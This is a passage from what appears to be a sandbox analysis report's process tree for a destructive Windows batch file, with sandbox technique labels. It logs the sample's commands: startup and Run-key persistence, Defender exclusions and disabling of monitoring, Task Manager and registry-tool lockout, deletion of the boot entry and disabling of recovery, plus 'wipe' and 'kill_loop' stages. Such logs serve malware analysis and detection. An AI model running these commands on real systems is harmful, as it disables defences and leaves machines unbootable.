        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        Executes a command shell one-liner
        
        PID:2532
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7948
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8244
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7228
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:10612
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:984
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:10468
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8284
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8588
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        Executes a command shell one-liner
        
        PID:6820
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8024
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6460
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7468
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:6004
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7564
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:10048
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10896
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:7400
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        Executes a command shell one-liner
        
        PID:5144
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7476
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9168
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9048
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:10620
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10064
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7364
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8020
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:6508
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:5632
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6976
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:3356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4216
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:10188
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1084
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:108
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7832
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:7408
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8040
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8996
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6772
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:8008
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:8308
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:6596
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
      4⤵
      PID:1104
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:1724
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:5812
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:4744
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        
        PID:5344
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:2388
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:3308
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:4200
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:6128
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:4928
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:2124
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4108
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:3508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:4336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:1440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:1224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:5808
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6248
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6344
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2292
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2608
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:6492
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7608
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7908
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7616
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:11104
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7548
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8152
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:2316
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:4428
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7928
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8056
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7492
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:10604
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6344
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8184
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7880
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:1620
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        Executes a command shell one-liner
        
        PID:6632
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7788
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9200
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:3276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6576
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9704
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:3036
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:11036
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:5968
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:6936
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6432
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:7048
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6004
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6216
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:3564
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:6816
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:2840
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4476
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9404
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:4060
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6460
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8944
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:9324
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7592
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9916
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6988
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6188
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:5752
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:3616
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7316
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8356
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:10312
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6628
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6884
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:2628
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:7832
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1300
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        Executes a command shell one-liner
        
        PID:1948
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7320
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8988
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:2800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6944
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:5716
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6204
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4556
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10960
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:3896
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10888
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:6400
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8000
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6800
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8896
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:4568
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:7912
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:9892
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
      4⤵
      PID:2100
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:3100
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:1140
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:4232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4960
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:3496
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:1108
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:4432
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:3860
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:4988
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4896
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:5892
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:5264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:1056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:2172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:2792
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1812
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6156
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3036
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6344
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:7132
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6484
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:2772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7376
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:9028
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9208
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6932
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:2432
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:10260
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9424
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8672
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6912
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        Executes a command shell one-liner
        
        PID:3368
        
